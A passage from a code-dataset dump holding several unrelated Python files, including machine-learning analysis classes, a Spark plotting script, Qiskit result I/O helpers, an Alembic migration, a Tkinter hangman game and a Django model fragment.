self.calcInfoGainOfFeatureAccountingForContinuous(self.data, self.labels, feature)\n\n self.infoGainTable.loc[feature, 'Info. gain'] = gain\n self.infoGainTable.loc[feature, 'Threshold'] = igClass\n self.infoGainTable = self.infoGainTable.sort_values(by='Info. gain', ascending=False)\n\n def calcEntropyOfSet(self, labels):\n nLabels = len(labels)\n uniqueLabels = np.unique(labels)\n labelCounts = self.compUniqueValueCount(labels, uniqueLabels)\n entropy = 0\n for labelIndex in range(len(uniqueLabels)):\n entropy += self.calcEntropy(float(labelCounts[labelIndex])/nLabels)\n return entropy\n\n def calcInfoGainOfFeature(self, data, labels):\n gain = self.entropy\n nData = len(data)\n valueIndex = 0\n values = np.unique(data)\n featureCounts = np.zeros(len(values))\n entropy = np.zeros(len(values))\n for value in values:\n dataIndex = 0\n valueOrderedLabels = []\n for datapoint in data:\n if datapoint == value:\n featureCounts[valueIndex] += 1\n valueOrderedLabels.append(labels[dataIndex])\n dataIndex += 1\n labelValues = np.unique(valueOrderedLabels)\n classCounts = self.compUniqueValueCount(valueOrderedLabels, labelValues)\n for classIndex in range(len(classCounts)):\n entropy[valueIndex] += self.calcEntropy(float(classCounts[classIndex])/sum(classCounts))\n\n gain -= float(featureCounts[valueIndex])/nData * entropy[valueIndex]\n valueIndex += 1\n\n igEntropy, igClass = self.getClassWithGreatestGain(entropy, values)\n return (gain, igClass, igEntropy)\n\n def calcInfoGainOfFeatureAccountingForContinuous(self, dataSet, labels, feature):\n data = dataSet[feature]\n isContinuous = self.isContinuous(dataSet[feature][0])\n if isContinuous:\n gainTmp = []; igClassTmp = []; igEntropyTmp = []\n for i in range(len(data)):\n data = self.discretise(dataSet[feature], i)\n g, c, e = self.calcInfoGainOfFeature(data, labels)\n gainTmp.append(g)\n igClassTmp.append(c)\n igEntropyTmp.append(e)\n gain, igEntropy = self.getClassWithGreatestGain(gainTmp, igEntropyTmp)\n gain, igClass = self.getClassWithGreatestGain(gainTmp, igClassTmp)\n gain, igClassLabel = self.getClassWithGreatestGain(gainTmp, dataSet[feature])\n igClass = str(igClass) + str(igClassLabel)\n else:\n gain, igClass, igEntropy = self.calcInfoGainOfFeature(data, labels)\n return (gain, igClass, igEntropy)\n\n def isContinuous(self, value):\n if hasattr(value, 'dtype'):\n isContinuous = np.issubdtype(value.dtype, np.number)\n else:\n try:\n int(value)\n isContinuous = True\n except ValueError:\n isContinuous = False\n return isContinuous\n\n def getClassWithGreatestGain(self, ofMax, getAtIndex):\n idx = np.argmax(ofMax)\n return (ofMax[idx], getAtIndex[idx])\n\n\n def compUniqueValueCount(self, values, uniqueValues):\n valueIndex = 0\n valueCounts = np.zeros(len(uniqueValues))\n for uniqueValue in uniqueValues:\n for value in values:\n if value == uniqueValue:\n valueCounts[valueIndex] += 1\n valueIndex += 1\n return valueCounts\n\n def calcEntropy(self, p):\n if p != 0:\n return -p * np.log2(p)\n else:\n return 0\n\n def discretise(self, data, atIndex):\n discretisedData = np.zeros(len(data), dtype=str)\n discretisedData[data < data[atIndex]] = '<'\n discretisedData[data >= data[atIndex]] = '>='\n return discretisedData\n\n def __str__(self):\n rendered = '\\nInformation Gain Output\\n(Set Entropy: {})\\n\\n'.format(self.entropy)\n rendered += '{}'.format(self.infoGainTable)\n return rendered\n\n######################### Example Data ########################################\n# features = ['Deadline', 'Party', 'Lazy']\n# deadline = ['Urgent', 'Urgent', 'Near', 'None', 'None', 'None', 'Near', 'Near', 'Near', 'Urgent']\n# isParty = ['Yes', 'No', 'Yes', 'Yes', 'No', 'Yes', 'No', 'No', 'Yes', 'No']\n# amLazy = ['Yes', 'Yes', 'Yes', 'No', 'Yes', 'No', 'No', 'Yes', 'Yes', 'No']\n# data = pd.DataFrame({'Deadline':deadline, 'Party':isParty, 'Lazy':amLazy})\n# labels = ['Party','Study','Party','Party', 'Pub', 'Party', 'Study', 'Tv', 'Party', 'Study']\n# ig = InfoGain(data, labels)\n# ig.calcInfoGain()\n# print(ig)\n###############################################################################\n\n\nclass Rebalance:\n\n def __init__(self, X, y, log):\n self.log = log\n xIdxs, yIdxs = self.alignXandYIndexes(X.index, y['datetime'])\n self.featureList = X.columns\n self.X = self.formatX(X, xIdxs)\n self.Y = self.formatY(y, yIdxs)\n self.log.emit('N-samples X:{} Y:{}'.format(len(xIdxs), len(yIdxs)), indents=1)\n self.rebalanced = dict()\n\n def formatY(self, y, yIdxs):\n tmpY = list(y['label'])\n tmpYnumeric = []\n for i in range(0, len(tmpY)):\n c = 1\n if 'minor' in tmpY[i]:\n c = 0\n tmpYnumeric.append(c)\n y = [tmpYnumeric[idx] for idx in yIdxs]\n return y\n\n def alignXandYIndexes(self, xIdx, yIdx):\n yDates = list(yIdx)\n xIdxs = []\n yIdxs = []\n for i in range(0, len(xIdx)):\n for j in range(0, len(yDates)):\n d = dt.strptime(yDates[j], '%Y-%m-%d %H:%M')\n if xIdx[i].year == d.year and xIdx[i].month == d.month and xIdx[i].day == d.day:\n yIdxs.append(j)\n xIdxs.append(i)\n return xIdxs, yIdxs\n\n def formatX(self, X, xIdxs):\n tmpX = X\n tmpX['startTime'] = self.formatStartTimeIntoDeltaMinutes(X['startTime'])\n tmpX = tmpX.apply(pd.to_numeric, args=('coerce',))\n tmpX = tmpX.replace([np.inf, -np.inf], np.nan)\n tmpX = tmpX.fillna(value=0)\n tmpX = tmpX.reset_index().values.tolist()\n tmpXwithoutIndex = [np.array(sample[1:len(sample)]) for sample in tmpX]\n x = [tmpXwithoutIndex[idx] for idx in xIdxs]\n return x\n\n def formatStartTimeIntoDeltaMinutes(self, st):\n stdt = []\n for d in st:\n if type(d) is type('') and 'NaN' not in d:\n tmpD = dt.strptime(d, '%Y-%m-%dT%H:%M:%S.000')\n tmpV = tmpD.hour * 60 + tmpD.minute\n stdt.append(tmpV)\n else:\n tmpD = 'NaN'\n stdt.append(tmpD)\n return stdt\n\n def runADASYN(self):\n ada = ADASYN()\n self.Xadasyn, self.Yadasyn = ada.fit_sample(self.X, self.Y)\n self.rebalanced['ADASYN'] = {'X':self.Xadasyn, 'y': self.Yadasyn, 'f': self.featureList}\n self.log.emit('ADASYN: Original dataset shape {}'.format(Counter(self.Y)), indents=1)\n self.log.emit('ADASYN: Resampled dataset shape {}'.format(Counter(self.Yadasyn)), indents=1)\n\n def runSMOTE(self):\n try:\n sm = SMOTE(kind='regular')\n self.Xsmote, self.Ysmote = sm.fit_sample(self.X, self.Y)\n self.rebalanced['SMOTE'] = {'X': self.Xsmote, 'y': self.Ysmote, 'f': self.featureList}\n self.log.emit('SMOTE: Original dataset shape {}'.format(Counter(self.Y)), indents=1)\n self.log.emit('SMOTE: Resampled dataset shape {}'.format(Counter(self.Ysmote)), indents=1)\n except ValueError:\n self.log.emit('SMOTE ABORTED: Not enough samples of minor class: {}'.format(Counter(self.Y)), indents=1)\n\n def plot(self, show=False, save=True, path='', pid=''):\n runAnalyses = list(self.rebalanced.keys())\n\n if len(runAnalyses) > 0:\n self.log.emit('Plotting {}...'.format(runAnalyses), indents=1)\n pca = PCA(n_components=2)\n f, axes = plt.subplots(1, len(runAnalyses)+1)\n\n visX = pca.fit_transform(self.X)\n y0 = [i for i in range(0, len(self.Y)) if self.Y[i] == 0]\n y1 = [i for i in range(0, len(self.Y)) if self.Y[i] == 1]\n c0 = axes[0].scatter(visX[y0, 0], visX[y0, 1], label=\"Minor class\",\n alpha=0.5)\n c1 = axes[0].scatter(visX[y1, 0], visX[y1, 1], label=\"Major class\",\n alpha=0.5)\n axes[0].set_title('Original set')\n\n visXada = pca.transform(self.Xadasyn)\n y0 = [i for i in range(0, len(self.Yadasyn)) if self.Yadasyn[i] == 0]\n y1 = [i for i in range(0, len(self.Yadasyn)) if self.Yadasyn[i] == 1]\n axes[1].scatter(visXada[y0, 0], visXada[y0, 1],\n label=\"Minor class\", alpha=.5)\n axes[1].scatter(visXada[y1, 0], visXada[y1, 1],\n label=\"Major class\", alpha=.5)\n axes[1].set_title('ADASYN')\n\n if 'SMOTE' in runAnalyses:\n visXsm = pca.transform(self.Xsmote)\n y0 = [i for i in range(0, len(self.Ysmote)) if self.Ysmote[i] == 0]\n y1 = [i for i in range(0, len(self.Ysmote)) if self.Ysmote[i] == 1]\n axes[2].scatter(visXsm[y0, 0], visXsm[y0, 1],\n label=\"Minor class\", alpha=.5)\n axes[2].scatter(visXsm[y1, 0], visXsm[y1, 1],\n label=\"Major class\", alpha=.5)\n axes[2].set_title('SMOTE')\n\n # make nice plotting\n for ax in axes:\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.get_xaxis().tick_bottom()\n ax.get_yaxis().tick_left()\n ax.spines['left'].set_position(('outward', 10))\n ax.spines['bottom'].set_position(('outward', 10))\n\n plt.figlegend((c0, c1), ('Minor class', 'Major class'), loc='lower center',\n ncol=2, labelspacing=0.)\n plt.tight_layout(pad=3)\n if show:\n plt.show()\n if save:\n figurePath = '{}{}_PCA_rebalanced_dataset.png'.format(path, pid)\n plt.savefig(figurePath)\n else:\n self.log.emit('Plot ABORTED: No dataset was rebalanced. Try runADASYN() or runSMOTE().', indents=1)\n\n\nclass FeatureSelection:\n\n def __init__(self, data, log):\n self.log = log\n self.data = data\n self.selectedFeatures = dict()\n\n def runMIFS(self):\n datasetKeys = self.data.keys()\n for datasetKey in datasetKeys:\n self.log.emit('MIFS feature selection on {} dataset...'.format(datasetKey), indents=1)\n f = self.data[datasetKey]['f']\n X = self.data[datasetKey]['X']\n y = self.data[datasetKey]['y']\n fIdxs = MIFS.mifs(X, y, n_selected_features=10)\n fRank = [f[i] for i in fIdxs]\n self.addToSelectedFeatures('MIFS', datasetKey, fOrig=f, fIdxs=fIdxs, fRank=fRank)\n\n def runMRMR(self):\n datasetKeys = self.data.keys()\n for datasetKey in datasetKeys:\n self.log.emit('mRMR feature selection on {} dataset...'.format(datasetKey), indents=1)\n f = self.data[datasetKey]['f']\n X = self.data[datasetKey]['X']\n y = self.data[datasetKey]['y']\n fIdxs = MRMR.mrmr(X, y, n_selected_features=10)\n fRank = [f[i] for i in fIdxs]\n self.addToSelectedFeatures('mRMR', datasetKey, fOrig=f, fIdxs=fIdxs, fRank=fRank)\n\n def addToSelectedFeatures(self, methodName, datasetKey, fOrig, fIdxs, fRank):\n addEntry = {\n 'fOrig': fOrig,\n 'fIdxs': fIdxs,\n 'fRank': fRank\n }\n try:\n self.selectedFeatures[methodName][datasetKey] = addEntry\n except KeyError:\n newEntry = {datasetKey:addEntry}\n self.selectedFeatures[methodName] = newEntry\n\n def __str__(self):\n rendered = 'FEATURE SELECTION INFO:\\n'\n for methodKey in self.selectedFeatures.keys():\n rendered += '{}:\\n'.format(methodKey)\n for datasetKey in self.selectedFeatures[methodKey].keys():\n rendered += '\\t{}:\\t{}\\n'.format(datasetKey, self.selectedFeatures[methodKey][datasetKey]['fRank'][0:10])\n return rendered\n\n\nclass NonParametricMLWrapper:\n\n def __init__(self, data, features, log):\n self.data = data\n self.features = features\n self.log = log\n self.results = dict()\n\n def runSVM(self, nFeatures, nCPUs=2):\n for fsMethod in self.features:\n for dataset in self.data:\n self.log.emit('Fitting SVM on {}-{}...'.format(fsMethod, dataset), indents=1)\n f = self.features[fsMethod][dataset]['fIdxs'][0:nFeatures]\n X = self.extractNFeatures(self.data[dataset]['X'], f)\n y = self.data[dataset]['y']\n result = self.fitSVM(X, y, nCPUs=nCPUs)\n self.addResults(result, fsMethod=fsMethod, dataset=dataset)\n\n def fitSVM(self, X, y, nCPUs=2, lossFunctions=['recall']):\n X_train, X_test, y_train, y_test = train_test_split(\n X, y, test_size=0.4, random_state=0)\n optimisationParameters = [{'kernel': ['linear'], 'C': [0.0001, 0.001, 0.01, 0.1, 1, 10, 100, 1000, 10000]}]\n\n scores = lossFunctions\n for score in scores:\n self.log.emit(\"Tuning hyper-parameters for %s...\" % score, indents=2)\n\n clf = GridSearchCV(SVC(C=1), optimisationParameters, cv=3, n_jobs=nCPUs,\n scoring=score)\n clf.fit(X_train, y_train)\n\n self.log.emit(\"Best parameters set found on development set:\", indents=2)\n self.log.emit(clf.best_params_, indents=2)\n\n self.log.emit(\"Grid scores on development set:\", indents=2)\n means = clf.cv_results_['mean_test_score']\n stds = clf.cv_results_['std_test_score']\n for mean, std, params in zip(means, stds, clf.cv_results_['params']):\n self.log.emit(\"%0.3f (+/-%0.03f) for %r\" % (mean, std * 2, params), indents=2)\n\n self.log.emit(\"Classification report:\")\n y_true, y_pred = y_test, clf.predict(X_test)\n cReport = classification_report(y_true, y_pred)\n self.log.emit(cReport, indents=2)\n cMtrx = confusion_matrix(y_true, y_pred)\n self.log.emit(cMtrx, indents=2)\n\n return self.formatExports(model=clf, confusionMatrix=cMtrx, classificationReport=cReport)\n\n def extractNFeatures(self, X, fIdxs):\n Xextract = []\n for x in X:\n xFm = [x[i] for i in fIdxs]\n Xextract.append(xFm)\n return Xextract\n\n def formatExports(self, model, confusionMatrix, classificationReport):\n exports = {\n 'model': model,\n 'confusionMatrix': confusionMatrix,\n 'classificationReport': classificationReport\n }\n return exports\n\n def addResults(self, result, fsMethod, dataset):\n try:\n self.results[fsMethod][dataset] = result\n except KeyError:\n newFsMethodResult = {\n dataset: result\n }\n self.results[fsMethod] = newFsMethodResult","sub_path":"analysis/machlearn.py","file_name":"machlearn.py","file_ext":"py","file_size_in_byte":16532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"398449737","text":"from tutorial_ingles.text_format import *\r\n\r\nOUTPUT_DIRECTORY = \"name_group_scenes\"\r\n\r\nALL_SCENE_CLASSES = [ #Change ALL_SCENE_CLASSES by SCENES_IN_ORDER in recent versions of manim\r\n WriteText,\r\n TextoAdd,\r\n Formula,\r\n TipesOfText,\r\n TipesOfText2,\r\n DisplayFormula,\r\n TextInCenter,\r\n TextOnTopEdge,\r\n TextOnBottomEdge,\r\n TextOnRightEdge,\r\n TextOnLeftEdge,\r\n TextInUpperRightCorner,\r\n TextInLowerLeftCorner,\r\n CustomPosition1,\r\n CustomPosition2,\r\n RelativePosition1,\r\n RelativePosition2,\r\n RotationObject,\r\n MirrorObject,\r\n SizeTextOnLaTeX,\r\n FontsText,\r\n]","sub_path":"tutorial/order_scenes.py","file_name":"order_scenes.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"410158781","text":"import os\n\nimport matplotlib\nfrom pyspark.sql import SparkSession\n\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pyspark.sql.functions as F\n\n\nimport numpy as np\nimport statsmodels.api as sm\nimport pandas as pd\n\n\nclass TaskWaitTimeCDF(object):\n\n def __init__(self, workload_name, df, image_folder_location):\n self.workload_name = workload_name\n self.df = df\n self.folder = image_folder_location\n\n def generate_content(self):\n plot_location = self.generate_graphs()\n\n return None, plot_location\n\n def generate_graphs(self, show=False):\n filename = \"task_wait_time_cdf_{0}.png\".format(self.workload_name)\n if os.path.isfile(os.path.join(self.folder, filename)):\n return filename\n\n plt.figure()\n df = self.df.filter(F.col(\"wait_time\") >= 0)\n if df.count() > 1000:\n permilles = self.df.approxQuantile(\"wait_time\", [float(i) / 1000 for i in range(0, 1001)], 0.001)\n task_wait_times = sorted(pd.DataFrame({\"wait_time\": permilles})[\"wait_time\"].tolist())\n else:\n task_wait_times = sorted(df.toPandas()[\"wait_time\"].tolist())\n\n if len(task_wait_times) == 0 or max(task_wait_times) == -1:\n plt.text(0.5, 0.5, 'Not available;\\nTrace does not contain this information.', horizontalalignment='center',\n verticalalignment='center', transform=plt.axes().transAxes, fontsize=16)\n plt.grid(False)\n else:\n ecdf = sm.distributions.ECDF(task_wait_times)\n\n # Change min to 0 to make it start at 0\n x = np.linspace(min(task_wait_times), max(task_wait_times))\n y = ecdf(x)\n plt.step(x, y)\n\n plt.xlabel('Wait time (s)', fontsize=18)\n plt.ylabel('P', fontsize=18)\n\n plt.axes().set_xlim(0, None)\n plt.margins(0.05)\n plt.tight_layout()\n\n plt.savefig(os.path.join(self.folder, filename), dpi=200, format='png')\n if show:\n plt.show()\n\n return filename\n\n\nif __name__ == '__main__':\n tasks_loc = \"/media/lfdversluis/datastore/SC19-data/parquet-flattened/pegasus_P1_parquet/tasks/schema-1.0\"\n spark = (SparkSession.builder\n .master(\"local[5]\")\n .appName(\"WTA Analysis\")\n .config(\"spark.executor.memory\", \"3G\")\n .config(\"spark.driver.memory\", \"12G\")\n .getOrCreate())\n\n task_df = spark.read.parquet(tasks_loc)\n\n gne = TaskWaitTimeCDF(\"test\", task_df, \".\")\n gne.generate_graphs(show=True)\n","sub_path":"statistic_scripts/task_wait_time_cdf.py","file_name":"task_wait_time_cdf.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"20999195","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2017 IBM RESEARCH. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\n\"\"\"Utilities for File Input/Output.\"\"\"\n\nimport os\nimport datetime\nimport copy\nimport json\nfrom qiskit._qiskiterror import QISKitError\nimport qiskit\nimport numpy\nfrom sympy import Basic\n\n\ndef convert_qobj_to_json(in_item):\n \"\"\"Combs recursively through a list/dictionary and finds any non-json compatible\n elements and converts them. E.g. complex ndarray's are converted to lists of strings.\n Assume that all such elements are stored in dictionaries!\n\n Arg:\n in_item: the input dict/list\n \"\"\"\n\n key_list = []\n for (item_index, item_iter) in enumerate(in_item):\n if isinstance(in_item, list):\n curkey = item_index\n else:\n curkey = item_iter\n\n if isinstance(in_item[curkey], (list, dict)):\n # go recursively through nested list/dictionaries\n convert_qobj_to_json(in_item[curkey])\n elif isinstance(in_item[curkey], numpy.ndarray):\n # ndarray's are not json compatible. Save the key.\n key_list.append(curkey)\n\n # convert ndarray's to lists\n # split complex arrays into two lists because complex values are not json compatible\n for curkey in key_list:\n if in_item[curkey].dtype == 'complex':\n in_item[curkey + '_ndarray_imag'] = numpy.imag(in_item[curkey]).tolist()\n in_item[curkey + '_ndarray_real'] = numpy.real(in_item[curkey]).tolist()\n in_item.pop(curkey)\n else:\n in_item[curkey] = in_item[curkey].tolist()\n\n\ndef convert_json_to_qobj(in_item):\n \"\"\"Combs recursively through a list/dictionary that was loaded from json\n and finds any lists that were converted from ndarray and converts them back\n\n Arg:\n in_item: the input dict/list\n \"\"\"\n\n key_list = []\n for (item_index, item_iter) in enumerate(in_item):\n if isinstance(in_item, list):\n curkey = item_index\n else:\n curkey = item_iter\n\n # flat these lists so that we can recombine back into a complex number\n if '_ndarray_real' in curkey:\n key_list.append(curkey)\n continue\n\n if isinstance(in_item[curkey], (list, dict)):\n convert_json_to_qobj(in_item[curkey])\n\n for curkey in key_list:\n curkey_root = curkey[0:-13]\n in_item[curkey_root] = numpy.array(in_item[curkey])\n in_item.pop(curkey)\n if curkey_root + '_ndarray_imag' in in_item:\n in_item[curkey_root] = in_item[curkey_root] + 1j * numpy.array(in_item[curkey_root + '_ndarray_imag'])\n in_item.pop(curkey_root + '_ndarray_imag')\n\n\ndef file_datestr(folder, fileroot):\n \"\"\"Constructs a filename using the current date-time\n\n Args:\n folder (str): path to the save folder\n fileroot (str): root string for the file\n\n Returns:\n String: full file path of the form 'folder/YYYY_MM_DD_HH_MM_fileroot.json'\n \"\"\"\n\n # if the fileroot has .json appended strip it off\n if len(fileroot) > 4 and fileroot[-5:].lower() == '.json':\n fileroot = fileroot[0:-5]\n\n return os.path.join(folder, '{:%Y_%m_%d_%H_%M_}'.format(datetime.datetime.now()) + fileroot + '.json')\n\n\ndef load_result_from_file(filename):\n \"\"\"Load a results dictionary file (.json) to a Result object.\n Note: The json file may not load properly if it was saved with a previous\n version of the SDK.\n\n Args:\n filename (str): filename of the dictionary\n\n Returns:\n Result: The new Results object\n Dict: if the metadata exists it will get returned\n \"\"\"\n\n if not os.path.exists(filename):\n raise QISKitError('File %s does not exist' % filename)\n\n with open(filename, 'r') as load_file:\n master_dict = json.load(load_file)\n\n try:\n qobj = master_dict['qobj']\n qresult_dict = master_dict['result']\n convert_json_to_qobj(qresult_dict)\n metadata = master_dict['metadata']\n except KeyError:\n raise QISKitError('File %s does not have the proper dictionary structure')\n\n qresult = qiskit.Result(qresult_dict, qobj)\n\n return qresult, metadata\n\n\nclass ResultEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, Basic): # The element to serialize is a Symbolic type\n if obj.is_Integer: return int(obj)\n if obj.is_Float: return float(obj)\n return str(obj)\n else:\n return json.JSONEncoder.default(self, obj)\n\n\ndef save_result_to_file(resultobj, filename, metadata=None):\n \"\"\"Save a result (qobj + result) and optional metatdata\n to a single dictionary file.\n\n Args:\n resultobj (Result): Result to save\n filename (str): save path (with or without the json extension). If the file already\n exists then numbers will be appended to the root to generate a unique filename.\n E.g. if filename=test.json and that file exists then the file will be changed\n to test_1.json\n metadata (dict): Add another dictionary with custom data for the result (eg fit results)\n\n Return:\n String: full file path\n \"\"\"\n master_dict = {}\n master_dict['qobj'] = copy.deepcopy(resultobj._qobj)\n master_dict['result'] = copy.deepcopy(resultobj._result)\n if metadata is None:\n master_dict['metadata'] = {}\n else:\n master_dict['metadata'] = copy.deepcopy(metadata)\n\n # need to convert any ndarray variables to lists so that they can be\n # exported to the json file\n convert_qobj_to_json(master_dict['result'])\n\n # if the filename has .json appended strip it off\n if filename[-5:].lower() == '.json':\n filename = filename[0:-5]\n\n append_str = ''\n append_num = 0\n\n while os.path.exists(filename + append_str + '.json'):\n append_num += 1\n append_str = '_%d' % append_num\n\n with open(filename + append_str + '.json', 'w') as save_file:\n json.dump(master_dict, save_file, indent=1, cls=ResultEncoder)\n\n return filename + append_str + '.json'\n","sub_path":"qiskit/tools/file_io.py","file_name":"file_io.py","file_ext":"py","file_size_in_byte":6698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"136063704","text":"\"\"\"empty message\n\nRevision ID: 015cd64e151a\nRevises: 59202d403b5f\nCreate Date: 2021-05-09 01:29:53.422830\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '015cd64e151a'\ndown_revision = '59202d403b5f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('website_setting', sa.Column('setting_group', sa.String(length=32), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('website_setting', 'setting_group')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/015cd64e151a_.py","file_name":"015cd64e151a_.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"546523126","text":"#!/usr/bin/env python3\n\nfrom tkinter import *\nfrom PIL import Image, ImageTk\nimport random\nimport re\nimport dialogue\nimport sys\nimport time\n\n\nclass hangman_window(Frame):\n # initialize the Frame\n def __init__(self, master=None, ADMIN=False):\n Frame.__init__(self, master)\n self.master = master\n self.ADMIN = ADMIN\n self.init_window()\n \n # initialize all the buttons, labels, and text boxes\n def init_window(self):\n self.hangman_phase = 1\n lw_vocab = open('./res/vocab.txt', 'r').read().split('\\n')\n self.vocab = []\n for word in lw_vocab:\n self.vocab.append(word.upper())\n self.word_idx = random.randint(0, len(self.vocab) - 1)\n if self.ADMIN:\n print(self.vocab[self.word_idx])\n\n self.word = StringVar()\n\n if self.ADMIN:\n self.master.title(\"Hangman(Admin)\")\n else:\n self.master.title(\"Hangman\")\n self.pack(fill=BOTH, expand=1)\n\n hm_initial_status_img = ImageTk.PhotoImage(Image.open(\"./res/hangman-1.png\"))\n self.hm_status = Label(self, image=hm_initial_status_img)\n self.hm_status.image = hm_initial_status_img\n self.hm_status.place(x=330 , y=20)\n\n self.char_text = Text(self, height=1, width=1)\n self.char_text.pack()\n self.char_text.place(x=155, y=100)\n\n self.word_text = Text(self, height=1, width=20)\n self.word_text.pack()\n self.word_text.place(x=80, y=190)\n\n word_guess_button = Button(self, text=\"I've got it!!!\", command=self.on_word_guess)\n word_guess_button.pack()\n word_guess_button.place(x=110, y=220)\n\n self.message = StringVar()\n self.message.set(\"...\")\n self.result_label = Label(self, textvariable=self.message, width=11, justify=CENTER)\n self.result_label.config(font=(\"Ubuntu\", 22))\n self.result_label.place(x=230, y=295)\n\n char_guess_button = Button(self, text=\"Guess\", command=self.on_char_guess)\n char_guess_button.pack()\n char_guess_button.place(x=125, y=130)\n\n self.word.set(self.hide(self.vocab[self.word_idx]))\n word_label = Label(self, textvariable=self.word, width=27, justify=CENTER)\n word_label.config(font=(\"Ubuntu\", 30))\n word_label.place(x=12, y=375)\n\n self.start_time = time.time()\n\n # callback for guessing character button\n def on_char_guess(self):\n string_in_box = self.char_text.get(\"1.0\", 'end-1c')\n if len(string_in_box) == 0:\n return\n char = string_in_box[len(string_in_box) - 1].upper()\n if char in self.vocab[self.word_idx]:\n for i in range(len(self.vocab[self.word_idx])):\n if self.vocab[self.word_idx][i] == char:\n str_word = ''.join(re.findall(r'[\\w|-]*', self.word.get()))\n l = list(str_word)\n l[i] = char\n str_word = ' '.join(l)\n self.word.set(str_word)\n if ''.join(l) == self.vocab[self.word_idx]:\n self.result_correct()\n self.solved()\n else:\n self.result_its_there()\n else:\n if self.hangman_phase <= 7:\n self.hangman_phase += 1\n img = ImageTk.PhotoImage(Image.open(str(\"./res/hangman-\" + str(self.hangman_phase) + \".png\")))\n self.hm_status.config(image=img)\n self.hm_status.image = img\n self.result_wrong()\n if self.hangman_phase == 8:\n self.hanged(self.vocab[self.word_idx])\n else:\n self.hanged(self.vocab[self.word_idx])\n return\n self.char_text.delete(1.0, END)\n\n # callback for word guessing button\n def on_word_guess(self):\n guess = self.word_text.get(\"1.0\", 'end-1c').upper()\n if self.vocab[self.word_idx] == guess:\n self.result_correct()\n self.solved()\n else:\n self.result_wrong()\n self.word_text.delete(1.0, END)\n\n # dialogue boxes (2)\n def hanged(self, word):\n dialogue.dialogue_box(self, msg=str('You lost! All chances used up and wasted...\\nThe word was ' + word + \", btw.\"))\n self.finished_time = self.start_time\n self.master.destroy()\n\n def solved(self):\n dialogue.dialogue_box(self, msg=\"You got it right! Congratulations.\\nOnly a selected few make it through this game\")\n self.finished_time = time.time()\n self.master.destroy()\n \n # changing result label according to situation (3)\n def result_correct(self):\n self.result_label.config(fg='SpringGreen')\n self.message.set(\"CORRECT!\")\n\n def result_its_there(self):\n self.result_label.config(fg='SpringGreen')\n self.message.set(\"IT'S THERE!\")\n\n def result_wrong(self):\n self.result_label.config(fg='Red')\n self.message.set(\"WRONG!\")\n\n # converting a word to its hidden form\n def hide(self, string):\n to_hide = int(len(string) * (3/4))\n done = []\n for i in range(to_hide):\n char_idx = 0\n while True:\n char_idx = random.randint(0, len(string)-1)\n if char_idx not in done:\n break\n done.append(char_idx)\n l = list(string)\n l[char_idx] = '-'\n string = l\n return string\n\ndef write_data(win_instance):\n time_taken = win_instance.finished_time - win_instance.start_time\n if time_taken:\n word = win_instance.vocab[win_instance.word_idx]\n\n # write the word and time taken\n with open('stats.csv', 'a') as stats_file:\n data = str((word, time_taken))\n data = data[1:len(data)-1:] + '\\n'\n stats_file.write(data)\n\ndef run(argv=sys.argv):\n ADMIN = False\n if len(argv) >= 3:\n if (argv[1] == 'admin' and argv[2] == 'asdasdasd') or (argv[2] == 'admin' and argv[3] == 'asdasdasd'):\n ADMIN = True \n form = Tk()\n form.geometry(\"650x500\")\n form.resizable(False, False)\n #form.iconbitmap(r'./res/icon.ico')\n window = hangman_window(form, ADMIN)\n form.mainloop()\n if not ADMIN:\n write_data(window)\n \nif __name__ == '__main__':\n run()\n","sub_path":"hangman/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":6360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"95651176","text":"#10.2 Write a program to read through the mbox.txt and figure out the distribution by hour of the day for each of the messages. You can pull the hour out from the 'From ' line by finding the time and then splitting the string a second time using a colon.\n#From stephen.marquard@uct.ac.za Sat Jan 5 09:14:16 2008\n#Once you have accumulated the counts for each hour, print out the counts, sorted by hour as shown below.\n\n\n\nname = input(\"Enter file:\")\nif len(name) < 1 : name = \"mbox.txt\"\nhandle = open(name)\ndic=dict()\nfor line in handle:\n line=line.strip()\n if line.startswith('From '):\n word=line.split()\n a=word[5]\n b=a[:2]\n if b in dic:\n dic[b]=dic[b]+1\n else:\n dic[b]=1\n else:\n continue\nfor i,j in sorted(dic.items()):\n print(i,j)","sub_path":"Coursera/Python-Data Structures_Files/10.2.py","file_name":"10.2.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"599234253","text":"from django.db import models\n\nclass InventarioModel(models.Model):\n inventarioId = models.AutoField(\n primary_key=True,\n db_column=\"inventario_id\",\n null=False,\n unique=True\n )\n inventarioPlato = models.CharField(\n max_length=40,\n db_column=\"inventario_plato\",\n null=False,\n verbose_name=\"Nombre del Plato\"\n )\n inventarioCantidad = models.IntegerField(\n null=False,\n 